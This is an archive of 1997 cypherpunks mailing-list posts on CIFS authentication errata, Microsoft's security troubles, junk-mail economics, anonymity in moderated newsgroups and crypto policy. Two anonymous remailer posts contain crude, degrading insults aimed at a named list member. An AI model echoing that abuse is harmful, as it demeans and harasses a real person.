<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Wed, 26 Mar 1997 23:21:52 -0800
From: Paul Leach <paulle@microsoft.com>
To: "'cifs@listserv.msn.com'" <cifs@listserv.msn.com>,
    "'WWW-SECURITY@ns2.rutgers.edu'" <WWW-SECURITY@ns2.rutgers.edu>,
    "'NTBUGTRAQ@RC.ON.CA'" <NTBUGTRAQ@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] CIFS Authentication Protocol Errata

Sharp eyed reviewers have already caught the following errors in
CIFS-Auth (CIFS Authentication Protocol), draft 3.
A new version will be forthcoming shortly.

In paragraph 2 of section 1.1, it should say:
The response is computed by DES encrypting a challenge (a nonce)
selected by the server with three keys derived from the user's password.

In section 1.2,
	[s]<n:m>	be the "n" bytes of s starting at byte "m".
should be clarified to be:
	[s]<n:m>	be the "n" bytes of s starting at byte "m" (the
first byte is numbered 0).

In step 1 of section 1.4,
was:
	Kb = [Ks]<7:8>
	Kc = [Ks]<15:2>, Z(5)
should be:
	Kb = [Ks]<7:7>
	Kc = [Ks]<14:2>, Z(5)

In step 4 of section 1.4
was:
	Kb' = [Ks']<7:8>
	Kc' = [Ks']<14:2>, Z(5)
should be:
	Kb' = [Ks']<7:7>
	Kc' = [Ks']<14:2>, Z(5)
and
	Km' = Ks, R
should be
	Km' = Ks', R

In step 6 of section 1.4,
C:	MS' = [MD5(Km, SN, Msessr, CC, CS)]<8>
should be
C:	MS' = [MD5(Km, SN, Msessr,)]<8>

In step 2 of section 1.5, there is a missing right bracket:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)<8>
should be:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)]<8>

> ----------
> From: 	Paul Leach
> Sent: 	Tuesday, March 25, 1997 1:18 PM
> To: 	'cifs@listserv.msn.com'; 'WWW-SECURITY@ns2.rutgers.edu';
> 'NTBUGTRAQ@RC.ON.CA'; 'ntsecurity@iss.net'
> Subject: 	CIFS Authentication Protocol Review
> 
> We are releasing preliminary drafts of the proposed fixes to the
> CIFS/SMB authentication protocols for widespread public review. If
> they pass review, they will be in Service Pack 3 for NT 4.0. 
> 
> The original protocol from which the new version descends was designed
> more than a decade ago; recently, quite a few weaknesses have been
> found in those previous versions. This latest revision is an attempt
> to repair those weaknesses with as small a change to the protocol as
> possible, so that it can be incrementally and rapidly deployed. 
> 
> All three documents are available in .doc, .txt and postscript.
> 
> Information on how to get them is available from:
> ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm
> 
> All followup discussion should be on the CIFS mailing list at
> CIFS@listserv.msn.com.
> 
> Your comments are actively solicited.
> ------------------------------
> Paul J. Leach
> paulle@microsoft.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Mar 1997 11:42:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: heavensgate.com?
Message-ID: <v0300780eaf607dc93069@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a copy of the heavensgate.com web pages?

I've found a couple mirrors of Higher Source already.

(If you don't know what I'm talking about, look at
http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)

If you want to send something anonymously, finger -l declan@eff.org for my
PGP public key.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Mar 1997 14:11:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft ammunition
In-Reply-To: <9703272018.AA19999@banshee.BASISinc.com>
Message-ID: <333AF0A6.6C81@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


>From Infoworld:

March 24, 1997

            Coda dependency may contribute to the fall of the
            great Gates empire

            Last week's column demonstrated that Microsoft is
            unable to respond to the network computer in its
            usual "co-opt the technology" manner -- a fact
            that may signal the turning point in the company's
            history. (Why am I leaving Intel out of this
            prediction, you ask? Because it is in a far more
            flexible position than Microsoft. Its chips can
            run anything. Microsoft needs them to run
            Windows.)

            Add to this NC threat the mounting troubles for
            Microsoft, and it's no wonder there's no joy in
            Redmond tonight.

            Look at the trends. According to International
            Data Corp., Microsoft SQL Server for Windows NT
            has been losing significant market share for two
            years to competing products that run on multiple
            platforms. Microsoft's Wolfpack clustering
            technology is turning out to be a Chihuahuapack.
            (See "Toothless Wolfpack," March 17.) Seemingly
            endless rapid-fire announcements by ISVs to
            support standards such as Java, JDBC, LDAP, IMAP4,
            and CORBA are shoving Microsoft's TAPI, MAPI,
            ISAPI, "SLAP-HAPI," and a host of other
            Microsoft-centric specifications right out of the
            limelight.

            By now you have undoubtedly heard more than you
            want to hear about the fellow in Germany who
            demonstrated that a malicious ActiveX control can
            secretly empty your bank account. Leaks, bugs, and
            hastily cobbled service packs have been drawing
            attention to the immaturity of Windows NT. And,
            most recently, college kids have found more holes
            in Internet Explorer than it takes to fill the
            Albert Hall. (My apologies to those outside the
            Beatles generation who don't get the reference.)

            Meanwhile, Microsoft has crushed or alienated
            practically every potential partner that might
            otherwise have helped it out of its current fix.

            Network hanky panky

            This latest Microsoft Internet Explorer security
            dustup really isn't a bug, it's a feature.
            Internet Explorer was built to make it easy to
            launch a file, whether that file is on your hard
            drive or sitting on a server somewhere in
            Freedonia. Unfortunately, it took someone outside
            Microsoft to realize last August that the file one
            launches from Explorer could be a Word for Windows
            document packing a malevolent macro.

            Then, in the past few weeks, .URL, .LNK, and .ISP
            files were added to the danger list. Then it
            surfaced that Microsoft's Common Internet File
            System opens the door to network hanky panky. This
            is clearly a company that isn't used to thinking
            outside of the universe of the local LAN. The
            Microsoft patches configure Explorer to ask your
            permission before launching a potentially
            dangerous file type (similar to Netscape
            Navigator). OK, but this solution makes it
            virtually impossible for Microsoft or anyone else
            to integrate a browser seamlessly into the Windows
            desktop.

            If seamless, safe desktop access to remote files
            on the Internet is the goal, Microsoft is spinning
            its wheels. There is really only one way to
            provide these features without introducing a local
            security risk. You have to eliminate the
            possibility that anything you run can affect your
            local drives. Better still, get rid of your local
            drives.

            In short, a Java-based browser is a good way to do
            it, but a Java-based network computer is best.
            Which brings us back to the conclusion of last
            week's column.

            But, if you're tired of the repetition, here's a
            reason you should sit through another sermon:
            RandomNoise's Coda. Coda lets you design entire
            Web pages in Java rather than use a mixture of
            HTML content, tags, and Java applets.

            Most pundits seem to be fixated on the fact that
            Coda gives you a way to display fancy fonts that
            HTML can't handle. Our own Bob Metcalfe is the
            only one I know of who addressed the bigger
            picture. (See From the Ether, March 10). He
            pointed out that Coda may lead the way toward
            replacing HTML with Java.

            A Java-based Web page removes the distinction
            between application and data. It presents data
            just as an HTML page would, but every element on
            the screen has the potential to be an interactive
            part of a sophisticated application.

            In other words, the Web page becomes both powerful
            and safe enough to earn the right to be the new
            desktop user interface to the world. But Internet
            Explorer and Windows are nowhere in that equation.

            So is Microsoft in a batting slump, or is this the
            beginning of the end? Personally, I think
            Microsoft can pull out of this one. All it would
            have to do to fully recover is turn Windows NT
            into Unix, drop Distributed Component Object Model
            for CORBA, phase out its Windows-centric protocols
            for platform-independent standards, adopt
            NetWare's Novell Directory Services, kill ActiveX,
            port SQL Server to several different platforms,
            and abandon the idea of integrating Internet
            Explorer into the desktop.

            Well, I'm going to take a nap. Wake me when all
            that happens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 27 Mar 1997 16:13:20 -0800 (PST)
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <v03007800af60b73611b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
>Does anyone have a copy of the heavensgate.com web pages?

>If you want to send something anonymously, finger -l declan@eff.org for my
>PGP public key.

Wouldn't just using an anonymous remailer work better? Encrypting a message
to your public key and then mailing it will not preserve sender anonymity.

Doing both would maybe be better, but for casual journalistic
whistleblowing, the remailers are more important than encrypting to the
recipient (unless Declan fears interception at _his_ site).

(Am I missing something?)

--Tim, whose parents live less than two miles from the Departure Zone for
the Hale-Bopp Shuttlecraft

(P.S. Does this mean the San Diego Cypherpunks meetings will be more
lightly attended?)


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 27 Mar 1997 16:50:45 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: heavensgate.com?
In-Reply-To: <v03007800af60b73611b5@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970327164811.18792B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I was typing quickly and carelessly. If you want to send me something
that's anonymous *and* encrypted, that's when my public key would come in
handy.

That invitation still stands, of course, for anyone who wants to pass
along any info on the Heaven's Gate organization.

Anyway, we put a mirror up at:

  http://pathfinder.com/news/breaking/site.html

-Declan


On Thu, 27 Mar 1997, Timothy C. May wrote:

> At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
> >Does anyone have a copy of the heavensgate.com web pages?
> 
> >If you want to send something anonymously, finger -l declan@eff.org for my
> >PGP public key.
> 
> Wouldn't just using an anonymous remailer work better? Encrypting a message
> to your public key and then mailing it will not preserve sender anonymity.
> 
> Doing both would maybe be better, but for casual journalistic
> whistleblowing, the remailers are more important than encrypting to the
> recipient (unless Declan fears interception at _his_ site).
> 
> (Am I missing something?)
> 
> --Tim, whose parents live less than two miles from the Departure Zone for
> the Hale-Bopp Shuttlecraft
> 
> (P.S. Does this mean the San Diego Cypherpunks meetings will be more
> lightly attended?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Thu, 27 Mar 1997 17:19:36 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: junk mail analysis, part 2
Message-ID: <Pine.SUN.3.96.970327170208.2629A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Last time I gave the equilibrium for the junk mail game.  Now I will look
at a modified game that allows the sender to include an ecash deposit with
his email.  (Note that there is a slight change of notation from the game
tree given last time.) 

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide deposit d
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-d,d)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-d,d-c)  (s,r-c)

Solution

We again apply the method of backward induction.  In the last stage B
accepts if r >= d.  Therefore in the next to last stage, B knows that if
he reads, his expected payoff is P(r<d)*(d-c)  + P(r>=d)*E(r-c|r>=d). 
However, in equilibrium it is not possible that P(r<d) > 0 since A is
always better off by offering a deposit of 0 instead of any deposit
greater than r. Therefore B reads if E(r|r>=d)-c >= d.  Now we come to A's
deposit decision.  A knowns that if he offers any d such that r >= d and
E(r|r>=d)-c >= d, B will read and accept.  A is indifferent between any
such d, so he might as well offer the smallest such d if it exists.  If it
doesn't exist, A offers d=0.  Finally A again always sends regardless of
the parameters, since A can get a payoff of at least 0 by sending, and may
do better if there is a small probability of B making a mistake.

Conclusions

We saw that if there exists a d such that r >= d and E(r|r>=d)-c >= d, A
offers the least such d, and B reads and accepts.  Otherwise A offers d=0,
and B does not read.  Interestingly, if E(r) > c, d=0 satisfies r >= d and
E(r|r>=d)-c >= d, so we reach the same outcome as before.  However, if
E(r) < c, the outcome of the new game represents a Pareto-improvement
since for realistic distributions of (s,r)  it seems likely that for all
sufficiently large r there exist d such that r >= d and E(r|r>=d)-c >= d,
and for these values of r both the sender and the receiver do better than
they did in the previous model.  Let's call the smallest such r t. 
Unfortunately the outcome is still not Pareto-optimal if t > c. 

This conclusion opens the question of whether a better solution exists.
One possibility is the following (called the pre-payment solution).

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s-p,r+p-c)

If there is enough interest, I'll follow up with a comparison between the
pre-payment solution and the deposit solution.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 27 Mar 1997 17:24:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge interactive proofs
Message-ID: <199703280124.RAA23942@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maytag, a product of anal birth, appeared with a coathanger 
through his head.

          /_/\/\
          \_\  /
          /_/  \
          \_\/\ \
             \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shiftcontrol@nml.guardian.co.uk (Shift Control)
Date: Fri, 28 Mar 1997 00:50:26 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: Resurrect yourself
Message-ID: <v01530505af60644bead1@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


In this week's Easter Fools' Issue of Shift Control:

"Not only did Christ not die on the cross, but his body was never placed in
the tomb at Golgotha. Indeed, by the infamous "third day" Christ had most
likely already rounded the Italian coast and was, for all we know,
exchanging anecdotes with Sardinian crab merchants." - Paul Robinson on the
imminent resurrection of Jesus's freshly discovered remains.

"The post-war baby-boomer generation keeps getting ever more wistful for
its lost youth. Bowie begat Suede; the Beatles and the Small Faces begat
Brit pop; Rod Stewart begat everything in a skirt in the Seventies and
these days his torch is carried by Mark Morrison." - Robin Hunt on the
resurrection of nostalgia.

"Identical lambs are gambolling in the fields. Six-legged featherless
chickens are hatching from their eggs. Piglets ready to offer their organs
for every transplant need are snuffling in the new grass. A herd of calves
trot happily to the slaughterhouse. It's Easter, time of regeneration and
renewal, and all is well with the world." - Bronwen Davies on genetic
manipulation and cloning: resurrection for the Nineties.

"The gods we buried previously now arise as green shoots and come into
their own at the harvest. We drink their blood and eat their flesh when we
pass around the wine, beer, bread and cakes in the glorious evenings of
autumn. For pagans the deities symbolise the fruits of the year -
Christianity, for some reason, chose to reverse this." - Druid Steve Wilson
on resurrection, pagan-style

"There are a number of things I would require of anyone who would be able
to clone me. I would first require that he make two clones instead of one.
Next, I would demand that neither of these cloned boys be circumcised. I
was and although I do not remember the experience I do well remember when I
had my tonsils taken out." - Robert Nicolai on how he should be resurrected
through cloning.

Also this week:

Your chance to win 200 quid in our fiction competition; more memoirs from
Freebee the rock 'n' roll bee; and our latest quiz: how wild are you about
Jesus?

All this and more, waiting and willing at:

http://www.shiftcontrol.com
------------------------------------------------------------------

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 16:21:29 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Microsoft ammunition
In-Reply-To: <333AF0A6.6C81@sk.sympatico.ca>
Message-ID: <199703280014.SAA01221@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Great news, Toto. 

The wisest people are already avoiding MS products and are using free
software like Linux to its fullest capacity.

Cc-ed to Bill Gates.

igor

Toto wrote:
> 
> >From Infoworld:
> 
> March 24, 1997
> 
>             Coda dependency may contribute to the fall of the
>             great Gates empire
> 
>             Last week's column demonstrated that Microsoft is
>             unable to respond to the network computer in its
>             usual "co-opt the technology" manner -- a fact
>             that may signal the turning point in the company's
>             history. (Why am I leaving Intel out of this
>             prediction, you ask? Because it is in a far more
>             flexible position than Microsoft. Its chips can
>             run anything. Microsoft needs them to run
>             Windows.)
> 
>             Add to this NC threat the mounting troubles for
>             Microsoft, and it's no wonder there's no joy in
>             Redmond tonight.
> 
>             Look at the trends. According to International
>             Data Corp., Microsoft SQL Server for Windows NT
>             has been losing significant market share for two
>             years to competing products that run on multiple
>             platforms. Microsoft's Wolfpack clustering
>             technology is turning out to be a Chihuahuapack.
>             (See "Toothless Wolfpack," March 17.) Seemingly
>             endless rapid-fire announcements by ISVs to
>             support standards such as Java, JDBC, LDAP, IMAP4,
>             and CORBA are shoving Microsoft's TAPI, MAPI,
>             ISAPI, "SLAP-HAPI," and a host of other
>             Microsoft-centric specifications right out of the
>             limelight.
> 
>             By now you have undoubtedly heard more than you
>             want to hear about the fellow in Germany who
>             demonstrated that a malicious ActiveX control can
>             secretly empty your bank account. Leaks, bugs, and
>             hastily cobbled service packs have been drawing
>             attention to the immaturity of Windows NT. And,
>             most recently, college kids have found more holes
>             in Internet Explorer than it takes to fill the
>             Albert Hall. (My apologies to those outside the
>             Beatles generation who don't get the reference.)
> 
>             Meanwhile, Microsoft has crushed or alienated
>             practically every potential partner that might
>             otherwise have helped it out of its current fix.
> 
>             Network hanky panky
> 
>             This latest Microsoft Internet Explorer security
>             dustup really isn't a bug, it's a feature.
>             Internet Explorer was built to make it easy to
>             launch a file, whether that file is on your hard
>             drive or sitting on a server somewhere in
>             Freedonia. Unfortunately, it took someone outside
>             Microsoft to realize last August that the file one
>             launches from Explorer could be a Word for Windows
>             document packing a malevolent macro.
> 
>             Then, in the past few weeks, .URL, .LNK, and .ISP
>             files were added to the danger list. Then it
>             surfaced that Microsoft's Common Internet File
>             System opens the door to network hanky panky. This
>             is clearly a company that isn't used to thinking
>             outside of the universe of the local LAN. The
>             Microsoft patches configure Explorer to ask your
>             permission before launching a potentially
>             dangerous file type (similar to Netscape
>             Navigator). OK, but this solution makes it
>             virtually impossible for Microsoft or anyone else
>             to integrate a browser seamlessly into the Windows
>             desktop.
> 
>             If seamless, safe desktop access to remote files
>             on the Internet is the goal, Microsoft is spinning
>             its wheels. There is really only one way to
>             provide these features without introducing a local
>             security risk. You have to eliminate the
>             possibility that anything you run can affect your
>             local drives. Better still, get rid of your local
>             drives.
> 
>             In short, a Java-based browser is a good way to do
>             it, but a Java-based network computer is best.
>             Which brings us back to the conclusion of last
>             week's column.
> 
>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             Most pundits seem to be fixated on the fact that
>             Coda gives you a way to display fancy fonts that
>             HTML can't handle. Our own Bob Metcalfe is the
>             only one I know of who addressed the bigger
>             picture. (See From the Ether, March 10). He
>             pointed out that Coda may lead the way toward
>             replacing HTML with Java.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.
> 
>             In other words, the Web page becomes both powerful
>             and safe enough to earn the right to be the new
>             desktop user interface to the world. But Internet
>             Explorer and Windows are nowhere in that equation.
> 
>             So is Microsoft in a batting slump, or is this the
>             beginning of the end? Personally, I think
>             Microsoft can pull out of this one. All it would
>             have to do to fully recover is turn Windows NT
>             into Unix, drop Distributed Component Object Model
>             for CORBA, phase out its Windows-centric protocols
>             for platform-independent standards, adopt
>             NetWare's Novell Directory Services, kill ActiveX,
>             port SQL Server to several different platforms,
>             and abandon the idea of integrating Internet
>             Explorer into the desktop.
> 
>             Well, I'm going to take a nap. Wake me when all
>             that happens.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 27 Mar 1997 16:51:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OPINION: moderation and anonymity
Message-ID: <199703280044.SAA01846@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Jay Denebeim (denebeim@deepthot.cary.nc.us) wrote
* Igor Chudov @ home <ichudov@algebra.com> wrote:
* 
* >3. It is a common misconception to think that since anonymity means no
* >accountability, it will lead to abuses. Even though such an argument may
* >be made in general (it is subject to a significant disagreement), it
* >does not apply in the least to moderated groups. Since moderators are,
* >generally, responsible for the content of the messages that they allow,
* >the final responsibility and control is in their hands. If a certain
* >anonymous posting does not satisfy the newsgroup charter, moderators can
* >always reject it.

I would like to thank Jay for his thorough and thoughtful comments. I 
agree with many of his point, and leave only those that I disagree on.

* You can have both accountability and anonymity.  From a newsgroup
* moderator's perspective it's not necessary to know the account of the
* person, only a way to uniquely identify the individual.  There is
* cryptography available for every machine that can provide these unique
* signatures without requiring a valid from address.

You are correct, there are tools allowing individuals to sign
their articles and verify electronic signatures. My moderation bot
STUMP even has built in support for PGP signature verification.
Some of its features are directly indended to be helpful for anonymous
users who want to not only post to newsgroups, but also maintain their
reputations. As you know, I think that anonymous users can be
great contributors to moderated newsgroups.

I am not sure that this article is the place to go into  a lot of detail
about these features, but I can summarize them for those who are interested.

However, there is a big and sticky question of what identity really is.
For example, I can establish several PGP keys and post anonymously using
all of them in turns.

What would be my identity? And if I use one of the keys to post 
off-topic articles and you "punish" that key not knowing that the 
same physical person uses several others, what's the point of such
"punishment"?

That is not to say that using PGP signatures in moderated groups is
bad: it is great, especially since anonymous users who use PGP to 
sign their articles can be safely put to the preapproved list of 
robomoderator bots. 

The problem is that while we have IDENTIFICATION, there is little
we can to do enforce ACCOUNTABILITY.

* However, the current newsgroups where this issue has been raised are
* all robo-moderated purely for spam elimination.  That means that there
* must be some way to identify posters so they can be mechanically
* blocked if necessary.  Cryptography and/or valid e-mail addresses
* (whether those addresses actually show up in posts or not) are
* necessary for the filtering function to be totally bullet-proof.

I disagree with this point. First of all, forging email messages to
look like they come from non-anonymous addresses is very easy (just telnet
to port 25 and type 3 magic lines). Second, a person can secretly have 
multiple keys.

If someone is determined to bypass a robomoderation bot that does not
require EVERY preapproved poster to positively identify herself, they
will get through. By the way, I believe that most forgeries in moderated
groups are results of personal problems of posters AND moderators, and
moderators need to honestly take care of the underlying problems.

It is very hard if not impossible to deal with determined and
knowledgeable forgers. I would much rather ensure that they get
equal access to the group than try to fight them by technical means.

* Actually, the cryptographic signature posts are the only 100% reliable
* ones, although all newsgroups I'm aware of only accept the forgable
* from: lines currently, the spammers have not figured out how to get

This is 99% correct, but not 100% correct. Newsgroups that are
moderated by STUMP will NOT ACCEPT forged From: lines pointing to
posters who have requested special cryptographic protection. All articles
purporting to be from such persons pass mandatory check of a PGP
signatures.

* past robomodded groups yet, and if they do forge addresses, they are
* breaking the law currently (fraud), so I don't know that this will
* ever become an issue.
* 
* Now, there are some other, even less reliable, methods of
* robo-moderating.  The 'clue test', which requires a password on your
* first post that is listed in a FAQ is one that I think would work
* quite well today.  It does have a problem in that if the spammers ever

Yes. It is an absolutely great method for newsgroup that do not
want to bother themselves with the costs of having a human moderator,
while at the same time eliminating spam and multiposted "flame"
threads.

We now have two bots, one of which is yours, that allow to quickly
set up such automoderated groups.

People who are determined to post off-topic articles to such groups have
very many ways of getting past the robomoderator bot.  That is usually
OK since it is not the regulars who are the problem.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Mar 1997 16:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: FCC Internet Paper
Message-ID: <1.5.4.32.19970328002547.0073ea10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As summarized below the FCC has issued a long
paper: "Digital Tornado: The Internet and Telecommunications
Policy." To supplement the FCC's PDF and WordPerfect versions
we've converted it to HTML:

   http://jya.com/oppwp29.htm  (270K; 189K images)

-------

From: Robert Cannon <cannon@DC.NET>
Subject:      FCC Releases staff Working Paper on Internet policy
To: CYBERIA-L@LISTSERV.AOL.COM

News Release --  March 27, 1997

DIGITAL TORNADO:
THE INTERNET AND TELECOMMUNICATIONS POLICY

FCC Staff Working Paper on Internet Policy


     The FCC's Office of Plans and Policy (OPP) today released a staff
working paper analyzing the implications of the Internet for the
FCC and telecommunications policy.  OPP Working Paper No. 29,
"Digital Tornado: The Internet and Telecommunications Policy," was
written by Kevin Werbach, Counsel for New Technology
Policy.  OPP periodically issues working papers on emerging areas in
communications; these papers represent individual views and are not an
official statement by the FCC or any FCC commissioner.

     "Digital Tornado" represents the first comprehensive assessment of
the questions the Internet poses for traditional communications policy.
A central theme running through the paper is that the FCC, and other
government agencies, should seek to limit regulation of Internet
services.  In framing his approach, Werbach states: "Because it is not
tied to traditional models or regulatory environments, the Internet
holds the potential to dramatically change the communications
landscape.  The Internet creates new forms of competition, valuable
services for end users, and benefits to the economy.  Government policy
approaches toward the Internet should therefore start from two premises:
avoid unnecessary regulation, and question the applicability of
traditional rules."

     After providing an analytical framework to understand the forces
driving Internet growth, and describing the Internet's development and
architecture, the paper addresses three primary areas:

     CATEGORY DIFFICULTIES
     Policy and legal questions arising from the fact that Internet-
     based services do not fit easily into the existing classifications
     for communications services under federal law or FCC
     regulations.

     PRICING AND USAGE
     Policy questions arising from the economics of Internet
     access, including assertions by local telephone companies that
     current Internet pricing structures result in network
     congestion, and arguments by Internet service providers that
     telephone companies have not upgraded their networks to
     facilitate efficient transport of data services.

     AVAILABILITY OF BANDWIDTH
     Regulatory and technical issues affecting the deployment of
     technologies promising to enable high-speed Internet access to
     the home and to businesses, including the implications for the
     Internet of the FCC's role in promoting universal service.

     The paper is available on the FCC World Wide Web site,
<http://www.fcc.gov/>.  The file is available for online viewing in
PDF (Adobe Acrobat) format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.pdf 

or for downloading in WordPerfect format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.wp

Copies may also be purchased from International Transcription
Services, Inc., 1919 M Street, NW, Room 246, Washington, DC
20554, (202) 857-3800.

  -FCC-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 27 Mar 1997 17:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft ammunition (fwd)
Message-ID: <199703280137.TAA01470@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 27 Mar 1997 16:11:50 -0600
> From: Toto <toto@sk.sympatico.ca>
> Subject: Microsoft ammunition

>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.

Mix this with the distributed processing model of Plan 9 and you may just
have tomorrows computer environment.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 27 Mar 1997 21:33:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703280443.UAA07280@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May's family tree goes straight 
up. All of his ancestors were siblings, to dumb 
to recognize each other in the dark.

        /\ o-/\  Timothy C[reep] May
       ///\|/\\\
      /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Mar 1997 20:46:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bay Area Anarchist Book Fair, Saturday 3/29
Message-ID: <3.0.1.32.19970327204449.0063e390@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


10am-6pm, S.F. County Fair Building, Golden Gate Park, 
9th Ave at Lincoln Way.  Free.  +1-415-431-8355

Bound Together Books is organizing it, as usual.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 27 Mar 1997 19:40:44 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD: No GAK
In-Reply-To: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>
Message-ID: <199703272150.VAA18676@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>, on 03/27/97 at
07:02 AM,
   John Young <jya@pipeline.com> said:


> That seeming contradiction, however, did not prevent the
>   Clinton Administration in recent months from waging a
>   vigorous behind-the-scenes effort for its proposal. And
>   hoping to resolve some of the policy conflicts, the
>   Administration is now circulating draft legislation on
>   Capitol Hill which would attempt to control even the
>   domestic use of data-scrambling software and establish a
>   key-escrow system for the United States.


Is this in reference to the various GAK initiatives by the administration
or are they finally pushing for forced restrictions on domestic crypto? Has
anyone seen these drafts?

- -- 
- -----------------------------------------------------------
